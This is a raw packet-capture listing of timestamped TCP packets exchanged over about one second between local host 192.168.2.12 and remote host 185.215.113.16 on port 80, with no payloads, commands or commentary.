Dec 4, 2024 16:11:01.954904079 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.956229925 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.956249952 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.956273079 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.957293034 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.957309961 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.957343102 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.958265066 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.958323002 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.958344936 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.958801985 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.959456921 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.959683895 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.960551023 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.960576057 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.960608006 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.961762905 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.962059975 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.962091923 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.962809086 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.962810040 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.962835073 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.963893890 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.963949919 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.964215040 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.965325117 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.965341091 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.965363979 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.966105938 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.966310024 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.966332912 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.966799974 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.967355013 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.967448950 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.968424082 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.968452930 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.968604088 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.969494104 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.969530106 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.969603062 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.970633030 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.970679045 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.970746040 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.971761942 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.971822977 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.971846104 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.972863913 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.972901106 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.972975969 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.973987103 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.974025011 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.974118948 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.974832058 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.975198984 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.975212097 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.976296902 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.976332903 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.976433039 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.977396011 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.977426052 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.977441072 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.978508949 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.978547096 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.978636980 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.978812933 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.980109930 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.980293989 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.980830908 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.980870962 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.980982065 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.981971979 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.982032061 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.982054949 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.982822895 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.983005047 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.983079910 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.984122038 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.984159946 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.984227896 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.985219955 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.985244989 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.985397100 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.986454964 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.986516953 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.986558914 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.987576008 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.987616062 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.987689018 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.988626957 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.988655090 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.988739967 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.989805937 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.989857912 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.990040064 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.990822077 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.990900040 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.991094112 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.991795063 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.991978884 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.992129087 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.993185997 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.993199110 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.993275881 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.993275881 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.994307995 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.994411945 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.994579077 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.995388985 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.995470047 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.995647907 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.996654987 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.996995926 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.997142076 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.997651100 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.997764111 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.997915983 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.998930931 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.998944998 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.999062061 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.999910116 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.000003099 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.000996113 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.001146078 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.001178980 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.002130985 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.002216101 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.002253056 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.003246069 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.003282070 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.003350973 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.003757000 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.004326105 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.004487991 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.005487919 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.005549908 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.006855011 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.111404896 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.111423969 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.111516953 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.111710072 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.112416029 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.112508059 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.112835884 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.112963915 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.113032103 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.113980055 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.136322021 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.136367083 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.136657000 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.136900902 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.136928082 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.136938095 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.137876987 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.137923002 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.138057947 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.138870955 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.138901949 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.138945103 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.139856100 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.139894962 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.139945984 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.140856981 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.140893936 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.140918016 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.141738892 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.141773939 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.141872883 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.142815113 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.142843962 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.143157005 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.143755913 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.143805027 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.143837929 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.144706011 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.144756079 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.144866943 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.145656109 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.145716906 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.145767927 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.146658897 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.146716118 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.146734953 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.146806002 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.147684097 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.147774935 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.148576975 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.148648977 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.148675919 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.149579048 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.149631977 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.149660110 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.150531054 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.150574923 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.150636911 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.150863886 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.151520967 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.151707888 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.152519941 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.152590036 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.152616978 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.153758049 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.153808117 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.153938055 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.154815912 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.154999018 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.155088902 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.155694008 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.155730009 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.155833960 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.157165051 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.157200098 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.157223940 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.158027887 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.158058882 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.158093929 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.158786058 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.158809900 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.158899069 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.159631968 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.159668922 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.159697056 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.160415888 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.160446882 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.160547972 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.161367893 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.161425114 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.161501884 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.162241936 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.162256002 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.162270069 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.162818909 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.163219929 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.163327932 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.164150953 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.164207935 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.164253950 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.165136099 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.165189981 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.165211916 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.166532040 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.166532040 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.286401987 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.286494017 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.286959887 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.287014008 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.287056923 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.288139105 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.288180113 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.288321972 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.289557934 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.289592028 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.289593935 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.290275097 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.290312052 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.290462017 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.290828943 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.291470051 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.291578054 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.292213917 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.292254925 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.292332888 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.293215990 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.293241024 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.293255091 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.293941021 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.293991089 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.294013977 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.294821024 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.294821978 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.294893980 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.295737028 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.295764923 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.295896053 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.296729088 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.296786070 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.296919107 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.297693014 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.297724962 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.297774076 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.298634052 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.298676968 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.298758984 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.299664974 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.299726009 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.299727917 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.300673962 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.300710917 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.300725937 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.301503897 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.301542044 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.301579952 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.302510023 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.302587986 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.302623034 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.302872896 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.303483009 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.303565025 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.303957939 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.304003000 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.304061890 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.305059910 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.305090904 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.305102110 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.305533886 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.305943966 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.306090117 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.308708906 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.310043097 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.328880072 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.328936100 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.329478979 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.329719067 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.329752922 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.330526114 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.330589056 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.330630064 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.331253052 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.331376076 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.331908941 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.332238913 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.332341909 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.332554102 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.333247900 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.333285093 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.333414078 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.334122896 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.334168911 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.334484100 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.335242987 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.335411072 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.335419893 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.336081982 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.336150885 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.336421013 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.337158918 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.337332010 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.337462902 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.338090897 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.338213921 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.338251114 CET	49724	80	192.168.2.12	185.215.113.16
